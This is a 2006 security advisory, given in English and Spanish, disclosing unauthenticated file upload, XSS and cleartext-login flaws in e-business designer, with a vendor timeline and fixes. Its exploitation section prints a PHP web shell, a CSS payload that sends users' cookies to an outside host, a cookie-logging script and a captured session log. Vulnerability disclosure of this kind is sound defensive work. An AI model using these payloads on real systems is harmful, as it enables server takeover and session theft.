Several flaws in e-business designer (eBD)

2006.05.16
Credit: Pedro Andjar
Risk: High
Local: No
Remote: Yes
CWE: N/A

Regards -------------- next part -------------- -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 =============================== - Advisory - =============================== Tittle: Several flaws in e-business designer Risk: Critical Date: 03.May.2006 Author: Pedro Andjar <pandujar *@* selfdefense.es> URL: http://www.digitalsec.es http://www.514.es/ .: [ INTRO ] :. eBD is an Integrated Development Environment for the development and publication of web sites, web applications and web services (Applications). In about 60% of the time typically required, Designer expedites the creation of Applications based on an open architecture, accepted web standards and without the need for in-depth knowledge about web technology. With eBD, you can develop any type of web application, web site or web service - intranet, extranet, eCommerce, eLearning portals, etc. You can deploy legacy applications on the web without re-coding the original application. eBusiness Designer has three distinct functional layers - Presentation, Data and Back Office. This structure permits a non-technical staff member to update any Application in real time, preview and publish it. .: [ TECHNICAL DESCRIPTION ] :. During the development of some evaluation tasks against applications managed by the e-businness designer software, several bugs were discovered: .: [ BUG #1 ] Risk : High Description : Ability to upload files to the system without authentication Affected versions : <= v3.1.4 Access to a web edition tool without authentication, allow remote users to upload files without restriction. This vulnerability can be achieved accessing the following URL: http://ebdsite/common/html_editor/image_browser.upload.html The file can be placed in different folders of the application, usually it can be easily found exploring the web source code and searching the images folder. Another useful tool to find the file is: http://edbsite/common/html_editor/image_browser.html Additionally we have the html edition tool, whose parameters are: function abre_html_editor(form_name,name,ancho,alto,idvista,atributo,source,links) { var argumentos = "form_name=" + form_name + "&name=" + name + "&source=" + source + "&ebd_links=" + links; if (idvista != null && idvista > 0) argumentos += "&usar_vista=" + idvista; if (atributo != null && atributo.length > 0) argumentos += "&usar_atributo=" + atributo; var href = "/common/html_editor/html_editor.html?" The result of this vulnerability consists in the ability of upload and/or modify files in the system, giving the possiblity of attack both the server and web users. These kind of attacks were succeded against a server running 2.3.3 version of eBD: Server side exploiting: + Code execution in the system using php/asp...shells : If the system has php installed, command execution is possible through a web browser, uploading a file with the following content: ----------------dsr.php----------------- <? $out = shell_exec($_GET["cmd"]." 2>&1"); echo "<pre>$out</pre>"; ?> ----------------dsr.php----------------- Then, queries like "http://edbsite/path/to/dsr.php&cmd=uname -a ; id" can be executed. Client side exploiting: + Cross Site Scripting (XSS), in applications with authentication methods: Uploaded files with "image_browser.upload.html" can overwrite application files, so it will be possible to include a javascript code in a cascade style sheet (.css), which will send us the cookie of users who have logged, through a get request to our server: background: url('javascript:document.images[1].src="http://514.es/514.php?"+document.cookie;') repeat-x bottom; We can place a script in our server to log cookies we receive, even this job is already done by the access_log. XXX.XXX.XXX.XXX - - [25/Apr/2006:11:04:22 +0200] "GET /514.php?SESSION_ID=133844640fde6ef7bd6a7a9e1c5c4651 HTTP/1.1" 200 316 "http://ebdsite/?go=M8z23wqOtZxBnlKqIOyVzEdlo87WFfqH8prlq33Nju/nsQ==" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" Possible script: -----------------514.php------------------ <? $log = "/var/tmp/debug.log"; $img_type = "png"; function load_png($img_path) { $img = imagecreatefrompng ($img_path); if ($img) { return $img; } } function load_gif($img_path) { $img = imagecreatefromgif ($img_path); if ($img) { return $img; } } function load_jpg($img_path) { $img = imagecreatefromjpeg ($img_path); if ($img) { return $img; } } $init = "Connection from ".$_SERVER['REMOTE_ADDR']; file_put_contents($log, "$initn", FILE_APPEND); foreach ($_SERVER as $key => $srv) { file_put_contents($log, "$key=$srvn", FILE_APPEND); } if (isset ($_GET) && count($_GET) > 0) { file_put_contents($log, "GET paramsn", FILE_APPEND); foreach ($_GET as $key => $srv) { file_put_contents($log, "$key=$srvn", FILE_APPEND); } } if (isset ($_POST) && count($_POST) > 0) { file_put_contents($log, "POST paramsn", FILE_APPEND); foreach ($_POST as $key => $srv) { file_put_contents($log, "$key=$srvn", FILE_APPEND); } } file_put_contents($log, "n", FILE_APPEND); if ($img_type == "png") { Header("Content-type: image/png"); ImagePNG(load_png("imgs/514.png")); } if ($img_type == "jpg") { Header("Content-type: image/jpeg"); ImageJPEG(load_jpg("imgs/514.jpg")); } if ($img_type == "gif") { Header("Content-type: image/gif"); ImageGIF(load_gif("imgs/514.gif")); } ?> -----------------514.php------------------ Adicionally was checked that there is no max concurrent sessions number for each user. This make easier this kind of attacks, because the cookies obtained by this way can be used as the same time that the legitimate user. .: [ BUG #2 ] Risk : High Description : Imput validation error Affected Versions : v2.3.3 without auth v3.1.4 require admin access In some parameters that are parsed by eBD, inclusion of special characters is not checked, so XSS or code injection attacks are possible. http://ebdsite/admin/form_grupo.html?id=<script>alert("dSR");</script> This query will give us an "alert" msg, and the server will response with a SQL message, including the path of the application: ERROR en: SELECT * FROM Contenido C WHERE C.idContenido=' AND 1=1 AND ( idArea IS NULL OR idArea=3 ) -- You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND 1=1 AND ( idArea IS NULL OR idArea=3 )' at line 1 at /usr/eBD/ebd_modules/eBD/DB/DBMySQL.pm line 179. Stack: [/usr/eBD/ebd_modules/eBD/DB/DBMySQL.pm:179], [/usr/eBD/ebd_modules/eBD/DB/DBDriver.pm:377], [/usr/eBD/ebd_modules/eBD.pm:772], [/usr/eBD/ebd_modules/eBD/Contenido.pm:453], [/usr/eBD/htdocs/transhotel/archivos/dhandler:28], [/usr/eBD/htdocs/ebdsite/archivos/autohandler:3] Same error on version 2.3.3 of eBD with the following path requests : * http://ebdsite/archivos/' or * http://ebdsite/files/' .: [ BUG #3 ] Risk : Medium Description : Clear password on auth Affected Versions : <= v3.1.4 In the authentication step, through http (by default) instead of https, username and password fields are in plain text during posting: zona=inicial&username=DSR&password=514&entrar=Login .: [ CHANGELOG ] :. * 24/Apr/2006: - Several flaws discovered, during the evaluation of the software installed by a e-business designer customer. * 25/Apr/2006: - Explotation of these discovered flaws. - Asked for security contact at eBD. * 26/Apr/2006: - Rough draft of this document finished. - Advisory sent to <ebd.soporte at oasyssoft.com>. - Commentaries of eBD. Affected versions of each flaw cleared. * 27/Apr/2006: - Some changes in this text. * 02/May/2006: - Oasyssoft releases emergency patch for file uploading bug. (http://lists.oasyssoft.com/ebd-devel/200605/msg00000.html) * 03/May/2006 - New comments and changes in the adv. * 10/May/2006: - Public disclosure. .: [ SOLUTIONS ] :. - Update to the last available version (3.1.4) - Emergency Patch instalation. (http://lists.oasyssoft.com/ebd-devel/200605/binNr7awTFdvt.bin) (Waiting for final release on early June) - Others: + Disable the directory listing in the web server. + Force the navigation through https. + Disable php and/or asp support in the system if it is not required. + Apply firewall solutions or ModSecurity related. + Delete test accounts and check for strong passwords. .: [ ACKNOWLEDGEMENTS ] :. Thanks To A. Tarasc&#65533; and J. Olascoaga for Xss help. Thanks to Gandalfj for the translation. Greetings to bRaCu and ppl of !dSR, 514, haxorcitos and dlnd-0. .: [ REFERENCES ] :. [+] [eBD] e-business designer http://www.ebdsoft.com/ [+] Cross Site Scripting FAQ http://www.cgisecurity.com/articles/xss-faq.shtml [+] NGS Advanced Sql Injection http://www.ngssoftware.com/papers/advanced_sql_injection.pdf [+] ModSecurity (Open source web application firewall) http://www.modsecurity.org/ [+] Guide to Building Secure Web Applications http://www.owasp.org/documentation/guide/guide_about.html [+] !dSR - Digital Security Research http://www.digitalsec.net/ [+] 514 - 77 http://www.514.es/ -=EOF=- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (GNU/Linux) iD8DBQFEYS506RyAqE6uiLQRAu5jAKChfRoY2NRxEyEUwm/glbQunkgUYACggsey BkJxd4e5M6WlaT0iLvcm/B0= =ohKq -----END PGP SIGNATURE----- -------------- next part -------------- -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 =============================== - Advisory - =============================== T&#65533;tulo: M&#65533;ltiples vulnerabilidades en e-business designer Gravedad: Cr&#65533;tica Fecha: 03.May.2006 Autor: Pedro And&#65533;jar <pandujar *@* selfdefense.es> WEB: http://www.digitalsec.es http://www.514.es/ .: [ INTRODUCCI&#65533;N ] :. eBD es una potente herramienta de desarrollo integral que permite la producci&#65533;n, gesti&#65533;n y publicaci&#65533;n de informaci&#65533;n mediante Internet o una Intranet, desde un navegador web, sin necesidad de implementaciones complejas ni costosas. Con eBD se puede desarrollar cualquier tipo de aplicaci&#65533;n web, ya sea intranet, extranet, portal, etc. o bien integrar cualquier otro desarrollo o aplicaci&#65533;n ya implantada, permitiendo el acceso y la gesti&#65533;n de la informaci&#65533;n de forma centralizada en un &#65533;nico entorno Web. Esta herramienta est&#65533; extensamente utilizada en ayuntamientos y hospitales de toda Espa&#65533;a as&#65533; como otras conocidas empresas: d-link, Terra, RTVE, Banesto... .: [ DESCRIPCI&#65533;N T&#65533;CNICA ] :. Durante el desarrollo de unas pruebas de evaluaci&#65533;n sobre varias aplicaciones gestionadas por el software e-businness designer, se detectaron los siguientes fallos: .: [ DEFECTO #1 ] Gravedad: Alta T&#65533;tulo: Posibilidad de subir ficheros al sistema sin autenticaci&#65533;n. Afecta: <= v3.1.4 El acceso una a herramienta de edici&#65533;n web sin autenticaci&#65533;n, permite a usuarios remotos la subida de ficheros al sistema sin control de la extensi&#65533;n. Esta vulnerabilidad puede ser explotada accediendo directamente a la siguiente URL: http://ebdsite/common/html_editor/image_browser.upload.html El fichero puede ser colocado en diversos directorios de la aplicaci&#65533;n, por norma general es facilmente localizable explorando el c&#65533;digo fuente de la web y buscando el directorio de im&#65533;genes. Otra herramienta de utilidad para localizar el fichero es: http://edbsite/common/html_editor/image_browser.html Adicionalmente se encuentra la herramienta de edici&#65533;n html, cuyos par&#65533;mentros son: function abre_html_editor(form_name,name,ancho,alto,idvista,atributo,source,links) { var argumentos = "form_name=" + form_name + "&name=" + name + "&source=" + source + "&ebd_links=" + links; if (idvista != null && idvista > 0) argumentos += "&usar_vista=" + idvista; if (atributo != null && atributo.length > 0) argumentos += "&usar_atributo=" + atributo; var href = "/common/html_editor/html_editor.html?" El resultado de esta vulnerabilidad, consiste en la posibilidad de subir y/o modificar ficheros en el sistema, provocando una alta posibilidad de ataque tanto en el servidor como en los clientes. Podr&#65533;amos modificar una imagen de la web con un exploit que atacar&#65533;a los navegadores de los usuarios de la web. Este tipo de ataques fueron realizados con exito sobre un server corriendo una versi&#65533;n 2.3.3 de eBD: Server side exploiting: +Ejecuci&#65533;n de c&#65533;digo en el sistema mediante el uso de php/asp... shells: Si el sistema tiene instalado php, es posible ejecutar comandos a trav&#65533;s del navegador, subiendo un fichero con el siguiente contenido: - - - ----------------dsr.php----------------- <? $out = shell_exec($_GET["cmd"]." 2>&1"); echo "<pre>$out</pre>"; ?> - - - ----------------dsr.php----------------- Posteriormente se podr&#65533;n ejecutar comandos tal que http://edbsite/path/to/dsr.php&cmd=uname -a ; id Client side exploiting: +Ataques de Cross Site Scripting (XSS), en aplicaciones con autenticaci&#65533;n: Puesto que los ficheros subidos mediante "image_browser.upload.html", puedes sobreescribir ficheros l&#65533;gitimos de la aplicaci&#65533;n, ser&#65533;a posible introducir en un archivo de estilos (.css) un javascript, que nos enviar&#65533; las cookies de los usuarios que inicien sesi&#65533;n, mediante una petici&#65533;n get al nuestro servidor: background: url('javascript:document.images[1].src="http://514.es/514.php?"+document.cookie;') repeat-x bottom; En nuestro server podemos colocar un script para loggear las cookies que recibamos, aunque ya aparecen de igual forma grabadas en el access_log. XXX.XXX.XXX.XXX - - [25/Apr/2006:11:04:22 +0200] "GET /514.php?SESSION_ID=133844640fde6ef7bd6a7a9e1c5c4651 HTTP/1.1" 200 316 "http://ebdsite/?go=M8z23wqOtZxBnlKqIOyVzEdlo87WFfqH8prlq33Nju/nsQ==" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" Este script podr&#65533;a ser: - - - -----------------514.php------------------ <? $log = "/var/tmp/debug.log"; $img_type = "png"; function load_png($img_path) { $img = imagecreatefrompng ($img_path); if ($img) { return $img; } } function load_gif($img_path) { $img = imagecreatefromgif ($img_path); if ($img) { return $img; } } function load_jpg($img_path) { $img = imagecreatefromjpeg ($img_path); if ($img) { return $img; } } $init = "Connection from ".$_SERVER['REMOTE_ADDR']; file_put_contents($log, "$initn", FILE_APPEND); foreach ($_SERVER as $key => $srv) { file_put_contents($log, "$key=$srvn", FILE_APPEND); } if (isset ($_GET) && count($_GET) > 0) { file_put_contents($log, "GET paramsn", FILE_APPEND); foreach ($_GET as $key => $srv) { file_put_contents($log, "$key=$srvn", FILE_APPEND); } } if (isset ($_POST) && count($_POST) > 0) { file_put_contents($log, "POST paramsn", FILE_APPEND); foreach ($_POST as $key => $srv) { file_put_contents($log, "$key=$srvn", FILE_APPEND); } } file_put_contents($log, "n", FILE_APPEND); if ($img_type == "png") { Header("Content-type: image/png"); ImagePNG(load_png("imgs/514.png")); } if ($img_type == "jpg") { Header("Content-type: image/jpeg"); ImageJPEG(load_jpg("imgs/514.jpg")); } if ($img_type == "gif") { Header("Content-type: image/gif"); ImageGIF(load_gif("imgs/514.gif")); } ?> - - - -----------------514.php------------------ Adicionalmente, se ha comprobado que no existe un n&#65533;mero m&#65533;ximo de sesiones concurrentes para cada usuario. Esta caracter&#65533;stica facilita este tipo de ataques, ya que las cookies obtenidas de esa forma pueden ser utilizadas a la vez que el usuario leg&#65533;timo. .: [ DEFECTO #2 ] Gravedad: Alta T&#65533;tulo: Error en la validaci&#65533;n de datos de entrada Afecta: v2.3.3 no requiere usuario v3.1.4 requiere autenticarse como administrador En varios par&#65533;metros que parsea eBD, no se verifica la inclusi&#65533;n de caracteres especiales y por tanto son posibles los ataques de injecci&#65533;n de c&#65533;digo o cross site scripting. Ej: http://ebdsite/admin/form_grupo.html?id=<script>alert("dSR");</script> Esta URL ejecutar&#65533; el alert y adem&#65533;s el servidor nos devolver&#65533; la cadena SQL y el path f&#65533;sico de la aplicaci&#65533;n tal que: ERROR en: SELECT * FROM Contenido C WHERE C.idContenido=' AND 1=1 AND ( idArea IS NULL OR idArea=3 ) -- You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND 1=1 AND ( idArea IS NULL OR idArea=3 )' at line 1 at /usr/eBD/ebd_modules/eBD/DB/DBMySQL.pm line 179. Stack: [/usr/eBD/ebd_modules/eBD/DB/DBMySQL.pm:179], [/usr/eBD/ebd_modules/eBD/DB/DBDriver.pm:377], [/usr/eBD/ebd_modules/eBD.pm:772], [/usr/eBD/ebd_modules/eBD/Contenido.pm:453], [/usr/eBD/htdocs/transhotel/archivos/dhandler:28], [/usr/eBD/htdocs/ebdsite/archivos/ autohandler:3] Lo mismo ocurre en la versi&#65533;n 2.3.3 de eBD al hacer peticiones al siguiente path: * http://ebdsite/archivos/' o bien * http://ebdsite/files/' .: [ DEFECTO #3 ] Gravedad: Media T&#65533;tulo: Ausencia de cifrado en proceso de autenticaci&#65533;n Afecta: <= v3.1.4 En el momento de la autenticaci&#65533;n, que por defecto se produce v&#65533;a http en lugar de https, los campos de usuario y contrase&#65533;a viajan por la red en texto claro, sin ning&#65533;n tipo de ecodeado: zona=inicial&username=DSR&password=514&entrar=Login .: [ HISTORICO ] :. * 24/Abr/2006: - Descubiertos varios fallos, durante la evaluaci&#65533;n del software instalado en un cliente de e-business designer. * 25/Abr/2006: - Explotaci&#65533;n de los fallos descubiertos anteriormente. - Localizaci&#65533;n del contacto de seguridad de eBD. * 26/Abr/2006: - Redactado borrador de este documento. - Envio del advisory a <ebd.soporte at oasyssoft.com>. - Comentarios por parte de eBD. Se indican las versiones afectadas por cada vulnerabilidad. * 27/Abr/2006: - Modificaciones sobre el borrador. * 02/May/2006: - Oasyssoft publica un parche sobre la subida de ficheros. (http://lists.oasyssoft.com/ebd-devel/200605/msg00000.html) * 03/May/2006 - Nuevos comentarios y modificaciones en el advisory. * 10/May/2006: - Publicaci&#65533;n del advisory. .: [ RECOMENDACIONES ] :. - - - - Actualizaci&#65533;n inmediata del software a la &#65533;ltima versi&#65533;n disponible (3.1.4). - - - - Implantaci&#65533;n del parche de emergencia. (http://lists.oasyssoft.com/ebd-devel/200605/binNr7awTFdvt.bin) (A la espera de la release final para comienzos de Junio) - - - - Adicionalmente es recomendable: + Deshabilitar el listado de directorios en el servidor web. + Forzar la navegaci&#65533;n sobre https en la medida de lo posible. + Eliminar el soporte php y/o asp del sistema si lo hubiera (y no fuera requerido). + Implementaci&#65533;n de firewalls de aplicaci&#65533;n o soluciones semejantes a ModSecurity. + Eliminar cuentas de prueba y verificar que las contrase&#65533;as son robustas. .: [ RECONOCIMIENTOS ] :. Gracias a A. Tarasc&#65533; y J. Olascoaga por la ayuda con el XSS. Saludos al bRaCu y la gente de !dSR, 514, haxorcitos y dlnd-0. .: [ REFERENCIAS ] :. [+] [eBD] e-business designer http://www.ebdsoft.com/ [+] Cross Site Scripting FAQ http://www.cgisecurity.com/articles/xss-faq.shtml [+] NGS Advanced Sql Injection http://www.ngssoftware.com/papers/advanced_sql_injection.pdf [+] ModSecurity (Open source web application firewall) http://www.modsecurity.org/ [+] Guide to Building Secure Web Applications http://www.owasp.org/documentation/guide/guide_about.html [+] !dSR - Digital Security Research http://www.digitalsec.net/ [+] 514 - 77 http://www.514.es/ -=EOF=- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (GNU/Linux) iD8DBQFEYS8Y6RyAqE6uiLQRApovAJ9RJhlPSdSarR2IjrEFV/H82aNSiwCeItD9 PKHJ4Nxn11SCt6ANlG5WqA8= =2PpH -----END PGP SIGNATURE-----


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top